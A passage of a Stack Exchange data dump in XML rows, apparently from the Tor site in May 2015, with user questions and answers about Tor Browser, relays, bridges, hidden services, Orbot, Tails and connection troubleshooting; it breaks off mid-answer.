  <row Id="6874" PostTypeId="2" ParentId="6868" CreationDate="2015-05-25T12:23:46.867" Score="1" Body="&lt;p&gt;You could capture the traffic with a tool like WireShark.&#xA;If it logs a direct connect to the used URL then the app is not using the Tor Socks Proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torify is maybe also an alternative for you, it easily tunnels the network traffic through tor without having to configure the app you want to execute. A tutorial can be found &lt;a href=&quot;http://linuxaria.com/howto/how-to-anonymize-the-programs-from-your-terminal-with-torify&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="612" LastActivityDate="2015-05-25T12:23:46.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6877" PostTypeId="1" AcceptedAnswerId="6880" CreationDate="2015-05-26T00:27:43.227" Score="1" ViewCount="346" Body="&lt;p&gt;If there was multicore support, what limit is there to hidden service or relay bandwidth? Given that a single cloudflare server supports at least six gigabits of bandwidth (although it's likely reached sixty gigabits with their latest generation), would there effectively be no limit (given that total advertised bandwidth is 120 gigabits / second)?&lt;/p&gt;&#xA;" OwnerUserId="7500" LastActivityDate="2015-05-27T00:29:34.840" Title="If there was multicore support, what limit is there to hidden service or relay bandwidth?" Tags="|onion-services|relays|bandwidth|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6878" PostTypeId="2" ParentId="6877" CreationDate="2015-05-26T06:03:04.277" Score="0" Body="&lt;p&gt;Most likely your processor will slow you down because a TOR relay needs to do much cryptographic operations. Intel CPUs with AES-NI support will push that limit higher but still at some point it can't go any faster. Using this command shows how much data your CPU can process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl speed -evp aes-256-cbc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7502" LastActivityDate="2015-05-26T06:03:04.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6879" PostTypeId="1" CreationDate="2015-05-26T17:28:35.697" Score="3" ViewCount="2391" Body="&lt;p&gt;I want to understand how the TOR network works, particularly how hidden services can hide its IP from clients. In this &lt;a href=&quot;https://security.stackexchange.com/questions/38194/how-can-i-get-the-ip-address-for-a-tor-hidden-service-hsp-with-a-onion-addres/38197#38197&quot;&gt;answer&lt;/a&gt;, I find the following a bit vague:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The introduction point relays this encrypted rendezvous point and one-time secret to the hidden service over the existing Tor circuit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how exactly does a TOR introduction point locate a hidden service without knowing its IP?&lt;/p&gt;&#xA;" OwnerUserId="7506" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2020-12-19T18:32:35.840" Title="How does a TOR introduction point locate a hidden service without knowing its IP?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6880" PostTypeId="2" ParentId="6877" CreationDate="2015-05-27T00:29:34.840" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm just asking if Tor can operate over multiple ethernet ports.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.  The solution is to run multiple copies of Tor, in which the configurations of each specify different addresses and port numbers.&lt;/p&gt;&#xA;" OwnerUserId="7509" LastActivityDate="2015-05-27T00:29:34.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6881" PostTypeId="1" CreationDate="2015-05-27T02:08:20.137" Score="3" ViewCount="583" Body="&lt;p&gt;I share the internet with three, sometimes four, other people. If I use Tor, am I safe, or do the other people in my house compromise my Tor usage/security/etc.? &lt;/p&gt;&#xA;" OwnerUserId="7510" LastEditorDisplayName="user66" LastEditDate="2015-05-27T19:50:21.833" LastActivityDate="2015-05-31T20:11:43.587" Title="Is it safe to use Tor if you share the internet with other people?" Tags="|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6882" PostTypeId="2" ParentId="6881" CreationDate="2015-05-27T06:52:28.703" Score="0" Body="&lt;p&gt;Yes, it's encrypted from your machine's connection to the different nodes in the network, they might know you are using Tor if they start analyzing the local network data\connections, but they can't sniff the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should not compromise you in any way.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="107" LastEditDate="2015-05-31T19:44:04.473" LastActivityDate="2015-05-31T19:44:04.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6883" PostTypeId="2" ParentId="6881" CreationDate="2015-05-27T08:54:50.587" Score="4" Body="&lt;p&gt;Take a look at this &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;diagram by the EFF&lt;/a&gt;. It explains who can know what about you when you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDxRk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastEditorDisplayName="user66" LastEditDate="2015-05-27T09:43:34.113" LastActivityDate="2015-05-27T09:43:34.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6884" PostTypeId="1" CreationDate="2015-05-27T10:16:00.777" Score="0" ViewCount="894" Body="&lt;p&gt;I installed the vidalia on ubuntu 14.04 using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install vidalia&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the logs at &lt;code&gt;/var/logs/tor/log&lt;/code&gt; tells that everything went OK (See &lt;a href=&quot;https://gist.github.com/waqaskhan137/86a9e1029d90dda03a68&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/waqaskhan137/86a9e1029d90dda03a68&lt;/a&gt;). &#xA;if i try in terminal  &lt;code&gt;vidalia&lt;/code&gt; &#xA;it says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GConf-WARNING **: Client failed to connect to the D-BUS daemon:&#xA;An AppArmor policy prevents this sender from sending this message to this recipient, 0 matched rules; type=&quot;method_call&quot;, sender=&quot;(null)&quot; (inactive) interface=&quot;org.freedesktop.DBus&quot; member=&quot;Hello&quot; error name=&quot;(unset)&quot; requested_reply=&quot;0&quot; destination=&quot;org.freedesktop.DBus&quot; (bus)&#xA;&#xA;(&amp;lt;unknown&amp;gt;:19383): GLib-GIO-ERROR **: No GSettings schemas are installed on the system&#xA;Trace/breakpoint trap (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if i use the sudo it says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No protocol specified&#xA;vidalia: cannot connect to X server :0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i try to run it using the gui it just doesn't show anything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/delyyvVkFUo&quot; rel=&quot;nofollow&quot;&gt;Video of the issue&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="412" LastEditorUserId="88" LastEditDate="2015-07-02T12:07:43.347" LastActivityDate="2015-08-25T06:20:38.423" Title="Vidalia for ubuntu (vidalia: cannot connect to X server :0)" Tags="|vidalia|ubuntu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6885" PostTypeId="2" ParentId="6588" CreationDate="2015-05-27T15:24:19.460" Score="0" Body="&lt;p&gt;It is common when a new Tor circuit is formed that websites end your login session. This is because they tie each session to an IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helps prevent sessionjacking slightly, although it's a nuisance when using Tor.&lt;/p&gt;&#xA;" OwnerUserId="7500" LastActivityDate="2015-05-27T15:24:19.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6886" PostTypeId="2" ParentId="262" CreationDate="2015-05-27T15:27:12.327" Score="1" Body="&lt;p&gt;An answer for modern Tor: Circuits are established per domain name and kept for two hours. They may change this again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-45-released#Privacy&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-browser-45-released#Privacy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7500" LastActivityDate="2015-05-27T15:27:12.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6887" PostTypeId="1" CreationDate="2015-05-28T05:35:13.557" Score="5" ViewCount="22050" Body="&lt;p&gt;I tried connecting to the Tor network. Each time it stops at &lt;b&gt;&lt;i&gt;Loading Network Status &lt;/i&gt;&lt;/b&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the log file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27-05-2015 10:54:40.877 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27-05-2015 10:54:42.573 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27-05-2015 10:54:48.838 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;27-05-2015 10:54:48.839 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;27-05-2015 10:54:49.225 [WARN] Proxy Client: unable to connect to 109.105.109.163:38980 (&quot;general SOCKS server failure&quot;) &#xA;27-05-2015 10:54:49.234 [WARN] Proxy Client: unable to connect to 109.105.109.163:47779 (&quot;general SOCKS server failure&quot;) &#xA;27-05-2015 10:54:53.143 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;27-05-2015 10:54:53.770 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;27-05-2015 10:54:54.442 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;27-05-2015 10:54:56.247 [NOTICE] new bridge descriptor 'Unnamed' (fresh): $AF9F66B7B04F8FF6F32D455F05135250A16543C9~Unnamed at 169.229.59.75 &#xA;27-05-2015 10:54:56.248 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27-05-2015 10:55:01.356 [WARN] Our clock is 17 hours, 4 minutes behind the time published in the consensus network status document (2015-05-28 03:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;27-05-2015 10:55:01.357 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;27-05-2015 10:55:25.925 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;27-05-2015 10:55:25.925 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27-05-2015 10:55:25.925 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;27-05-2015 10:55:26.814 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="7514" LastEditorUserId="9411" LastEditDate="2017-09-19T02:51:48.193" LastActivityDate="2017-11-06T07:45:12.943" Title="Failed to connect to Tor network?" Tags="|configuration|windows|help|bridge|browsers|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6888" PostTypeId="2" ParentId="6200" CreationDate="2015-05-28T12:07:27.843" Score="1" Body="&lt;p&gt;The lines have the following meaning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bridge-stats-end 2015-02-13 04:17:28 (86400 s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The time when the statistics have ended. They included 86400 seconds of data, which translates to a day.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bridge-ips cn=8,es=8,us=8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your bridge had connections from China, Spain and the US. The number 8 basically tells you that there were only a low number of connections. It is the minimum number and your bridge attracts more connections it will always be a multiple of 8. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bridge-ip-versions v4=8,v6=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All connections came over IPv4.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bridge-ip-transports &amp;lt;OR&amp;gt;=8,obfs4=8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some of your bridge users used a pluggable transport (obfs4 in this case), while others just used your bridge. I'd guess that the chinese user(s) used obfs4, because normal bridges usually don't work in China and the other users might have used a plain bridge.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-05-28T12:07:27.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6889" PostTypeId="1" CreationDate="2015-05-28T14:27:26.200" Score="2" ViewCount="217" Body="&lt;p&gt;I don't have webroot.  TOR worked 2 days ago, now I get error and won't open.&lt;/p&gt;&#xA;" OwnerUserId="7520" LastActivityDate="2015-05-28T14:27:26.200" Title="Error message “Cannot load XPCOM” at the start of Tor Browser" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="0" ClosedDate="2016-05-24T09:57:51.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="6892" PostTypeId="2" ParentId="6519" CreationDate="2015-05-28T21:28:28.197" Score="1" Body="&lt;p&gt;The source code can be found here[1]. Regarding caching you have to be aware that it offers means to track users, just like a cookie. A server can send a header with a unique ETag to a client. Since the client will send that ETag in an &lt;code&gt;If-None-Match&lt;/code&gt; header it can be tracked. Tracking a user makes it possible to create a profile which can theoretically lead to identification in the end. Also should a user ever (accidentally) reveal the identity it would just need an ETag or very specific (unique) max-age it could be a trace for all the actions a particular user did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by enabling  caching you may significantly lower the bar for an attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/tree/&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/tor-browser.git/tree/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-05-28T21:28:28.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6893" PostTypeId="1" AcceptedAnswerId="6894" CreationDate="2015-05-28T21:31:05.407" Score="4" ViewCount="11645" Body="&lt;p&gt;Why doesn't the Tor Browser (4.5.1), even on the highest security setting disable cookies? They could be used to trace a user, potentially making it possible to build a profile.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-06-28T07:54:09.627" Title="Why doesn't Tor Browser disable cookies?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6894" PostTypeId="2" ParentId="6893" CreationDate="2015-05-29T07:15:17.073" Score="2" Body="&lt;p&gt;Tor browser allows only session cookies.  Afaik persistent cookies are treated as session cookies.  Press &quot;New Identity&quot; under the green onion menu if you wish to clear cookies without restarting. &lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2015-05-29T07:15:17.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6895" PostTypeId="2" ParentId="4336" CreationDate="2015-05-29T07:26:05.340" Score="1" Body="&lt;p&gt;There are &lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/log/?h=tor-browser-31.6.0esr-4.5-1&quot; rel=&quot;nofollow&quot;&gt;numerous patches&lt;/a&gt; applies to FireFox ESR to make Tor Browser, so you cannot make one just with configuration options and &lt;a href=&quot;https://tor.stackexchange.com/questions/6589/what-are-the-changes-made-to-firefox-in-the-tbb/6591#6591&quot;&gt;extensions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2015-05-29T07:26:05.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6896" PostTypeId="1" CreationDate="2015-05-29T07:36:13.050" Score="6" ViewCount="518" Body="&lt;p&gt;In Chrome, &lt;a href=&quot;https://github.com/laktak/vanilla-chrome&quot; rel=&quot;noreferrer&quot;&gt;Vanilla Cookie Manager&lt;/a&gt; saves whitelisted cookies outside Chrome's usual cookie space, so that Chrome can be told to erase all cookies and site data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar add-on for FireFox that'd provide a cookie whitelist for Tor Browser?  All the ones I've tried appear to work by deleting the cookies themselves, so they cannot save cookies in Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2021-07-25T20:04:25.387" Title="Is there a FireFox cookie manager that's suitable for Tor Browser" Tags="|tor-browser-bundle|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6897" PostTypeId="1" CreationDate="2015-05-29T00:21:11.810" Score="1" ViewCount="818" Body="&lt;p&gt;I have an android and I can only use Tor through orbot to browse the Internet. Is there a way I can run all of my apps through Tor so that every app I use on my phone will be secured and untraceable?&lt;/p&gt;&#xA;" OwnerUserId="7543" OwnerDisplayName="user3288334" LastActivityDate="2015-05-29T15:20:55.237" Title="Root android apps to Tor" Tags="|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6898" PostTypeId="2" ParentId="6897" CreationDate="2015-05-29T00:25:27.967" Score="2" Body="&lt;p&gt;Yes. This is build-in in the Orbot options. Just open the settings and scroll to the down side. There you can choose to run all your apps through Tor or just some of them.&lt;/p&gt;&#xA;" OwnerDisplayName="Kasmetski" LastActivityDate="2015-05-29T00:25:27.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6902" PostTypeId="1" CreationDate="2015-05-29T17:43:06.900" Score="2" ViewCount="774" Body="&lt;p&gt;Before you refer me to it, i have read &lt;a href=&quot;https://tor.stackexchange.com/questions/1480/can-tails-be-installed-as-primary-os&quot;&gt;this&lt;/a&gt;&#xA;I would like to know how I can install TAILS as the primary (ideally the only, as I would like to wipe others) OS on a windows computer. I have access to computers other than the one I wish to run TAILS on, so i would be able to use them to handle pre-downoads/modifications etc.&lt;/p&gt;&#xA;&lt;p&gt;I'm not too worried about disabling the amnesiac features, as files and changes can be saved into the persistent volume if required, only it doesn't happen automatically.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7531" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-07-30T21:48:14.093" Title="How to install TAILS as the primary OS on my Hardisk?" Tags="|windows|tails|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6903" PostTypeId="1" CreationDate="2015-05-29T21:33:08.803" Score="1" ViewCount="1102" Body="&lt;p&gt;I configured my ExitNodes for {US}, However when I track the links I visit using Tor it shows that I'm surfing from an &quot;Unknown&quot; country, what could the problem be?  &lt;/p&gt;&#xA;" OwnerUserId="7532" LastActivityDate="2015-05-31T21:01:41.867" Title="Why do I appear to be from &quot;Unknown&quot; country?" Tags="|tor-browser-bundle|configuration|anonymity|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6904" PostTypeId="2" ParentId="6846" CreationDate="2015-05-30T00:50:35.533" Score="1" Body="&lt;p&gt;I downloaded an older version of Tor to see what the TorButton custom proxy settings changed. I've been able to replicate that now using the latest version of TorBrowser. I've modified TorUser's answer (which was inspired by mimir's answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to run multiple instances of Tor Browser on Windows since the 4.5 update:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Download, verify, and install Tor Browser.&lt;/li&gt;&#xA;&lt;li&gt;Make copies of the Tor Browser folder with different names (eg. Number them)&lt;/li&gt;&#xA;&lt;li&gt;Launch Tor Browser&lt;/li&gt;&#xA;&lt;li&gt;Edit about:config&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modify extensions.torlauncher.control_port to a new ControlPort (eg. 9052 for Tor Browser 2)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit TorButton Preferences (without the GUI [removed in 4.5 update])&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modify extensions.torbutton.custom.socks_port to a new port (eg. 9152 for Tor Browser 2)&lt;/li&gt;&#xA;&lt;li&gt;Modify extensions.torbutton.custom.socks_host to 127.0.0.1&lt;/li&gt;&#xA;&lt;li&gt;Modify extensions.torbutton.proxies_applied to false&lt;/li&gt;&#xA;&lt;li&gt;Modify extensions.torbutton.use_privoxy to false&lt;/li&gt;&#xA;&lt;li&gt;Modify network.proxy.socks_port to the same port (eg. 9152 for Tor Browser 2)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Close Tor Browser&lt;/li&gt;&#xA;&lt;li&gt;Edit torrc-defaults in \TorBrowser\Data\Tor&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change SocksPort to what you set in step 5&lt;/li&gt;&#xA;&lt;li&gt;Change ControlPort to what you set in step 4&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Launch Tor Browser, and check that everything was configured correctly&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Homepage (about:tor) should say &quot;Congratulations!&quot;&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Test Tor Network Settings&quot;. check.torproject.org should say &quot;Congratulations.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;https://ip-check.info&quot; rel=&quot;nofollow&quot;&gt;ip-check.info&lt;/a&gt;. Test should be all green and orange except Tab name. Authentication should be &quot;protected&quot;. &lt;strong&gt;Note:&lt;/strong&gt; It may not say that you are using Tor, but this is incorrect.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Test your browser fingerprint at &lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow&quot;&gt;panopticlick.eff.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Edit about:config&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type “banned&quot; and modify the ports of the two entries. Add all the new SocksPort and ControlPort to the list (Copy the ports from other Tor Browsers)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optional:&lt;/strong&gt; Turn on “Forbid Scripts Globally” in NoScript for further security and privacy (also reduces browser fingerprint)&lt;/li&gt;&#xA;&lt;li&gt;Repeat 3-10 for each Tor Browser folder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7462" LastActivityDate="2015-05-30T00:50:35.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6905" PostTypeId="1" CreationDate="2015-05-30T02:47:22.627" Score="2" ViewCount="2148" Body="&lt;pre&gt;&lt;code&gt;5/30/2015 10:37:51 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/30/2015 10:37:51 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/30/2015 10:37:57 AM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;5/30/2015 10:37:57 AM.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;5/30/2015 10:38:18 AM.800 [WARN] Proxy Client: unable to connect to x.x.x.x:443 (&quot;general SOCKS server failure&quot;) &#xA;5/30/2015 10:38:57 AM.800 [WARN] Proxy Client: unable to connect to x.x.x.x:56880 (&quot;general SOCKS server failure&quot;) &#xA;5/30/2015 10:38:57 AM.900 [WARN] Proxy Client: unable to connect to x.x.x.x:41213 (&quot;general SOCKS server failure&quot;) &#xA;5/30/2015 10:44:05 AM.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/30/2015 10:44:05 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/30/2015 10:44:05 AM.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using OBFS4 since it's the only pluggable transport that can pass my ISP restriction, other bridges fail..&lt;/p&gt;&#xA;" OwnerUserId="7534" LastEditorUserId="107" LastEditDate="2015-05-31T19:28:14.513" LastActivityDate="2015-08-12T18:35:25.153" Title="Using obfs4; Tor fails to connect" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6906" PostTypeId="1" CreationDate="2015-05-30T04:30:24.097" Score="1" ViewCount="1974" Body="&lt;p&gt;I would like to know how to programatically send HTTP request to a host (e.g. www.example.com) over Tor. My preferred environment is C# on Windows.&lt;/p&gt;&#xA;" OwnerUserId="7535" LastActivityDate="2015-05-30T15:27:02.180" Title="Programatically send HTTP request over Tor" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6907" PostTypeId="2" ParentId="6906" CreationDate="2015-05-30T15:27:02.180" Score="1" Body="&lt;p&gt;You need a Socks5 library for c#, that you then can use to communicate over tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example of such library is :&#xA;&lt;a href=&quot;https://github.com/ThrDev/Socks5&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ThrDev/Socks5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a example here: &lt;a href=&quot;http://www.codeproject.com/Articles/5954/C-class-for-connecting-via-a-SOCKS-Proxy-Server&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/5954/C-class-for-connecting-via-a-SOCKS-Proxy-Server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically what you need to do is to use a library and connect to the proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Hostname' will need to be '127.0.0.1' or 'localhost'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'Port' will need to be set to '9150'. (if using tor browser bundle it might be a different port).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'Type' will be set to 'Socks5'.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-05-30T15:27:02.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6910" PostTypeId="2" ParentId="6881" CreationDate="2015-05-31T20:11:43.587" Score="1" Body="&lt;p&gt;Yes, it is safe to use Tor if you're on the same network with other people. In fact, Tor is one of the best tools to use when you're using a public network/wifi (i.e in your favorite coffee-shop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And no, it doesn't compromise your Tor usage and security. As people have already explained, your connection to the Tor network is always encrypted with three layers of encryption (Just like an onion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might enjoy watching this short &lt;a href=&quot;https://www.youtube.com/watch?v=JWII85UlzKw&quot; rel=&quot;nofollow&quot;&gt;Tor animation&lt;/a&gt;, explaining how Tor works in simple terms:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/releasing-tor-animation&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/releasing-tor-animation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2015-05-31T20:11:43.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6911" PostTypeId="2" ParentId="6903" CreationDate="2015-05-31T21:01:41.867" Score="1" Body="&lt;p&gt;Tor uses the Maxmind GeoIP database for look ups to determine the country of origin for a given IP. If an IP is looked up in the database that is either completely unlisted, or has a listed IP but it cannot find a record of its country, it returns &quot;xx&quot; for the country code. Therefore &quot;Unknown&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Tor fails to find an exit node with an exit policy matching your request in the requested country, it will fail-over to use other countries instead so that it doesn't disrupt your usage. If you want to stop this from happening, choose strict mode in torrc. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictExitNodes 1&#xA;ExitNodes {us}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, it &lt;em&gt;shouldn't&lt;/em&gt; matter but normally the country code is lowercase. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-31T21:01:41.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6912" PostTypeId="2" ParentId="6902" CreationDate="2015-05-31T21:10:38.897" Score="1" Body="&lt;p&gt;This is a time consuming process because it was built on the basis of a Live Linux environment. I would suggest not trying to modify TAILS to be a persistent OS, but rather take an OS and apply the design and features following their documentation. &lt;a href=&quot;https://tails.boum.org/contribute/design/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; I have not seen a way to &lt;em&gt;simply&lt;/em&gt; port all the configuration and options to a persistent disk. Unless you someone with a lot of Linux OS development experience, I believe it may not be worth it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't heed that warning, here are the details of how TAILS is built. &lt;a href=&quot;https://tails.boum.org/contribute/build/&quot; rel=&quot;nofollow&quot;&gt;Building a Tails Image&lt;/a&gt; It is very resource intensive to build but a 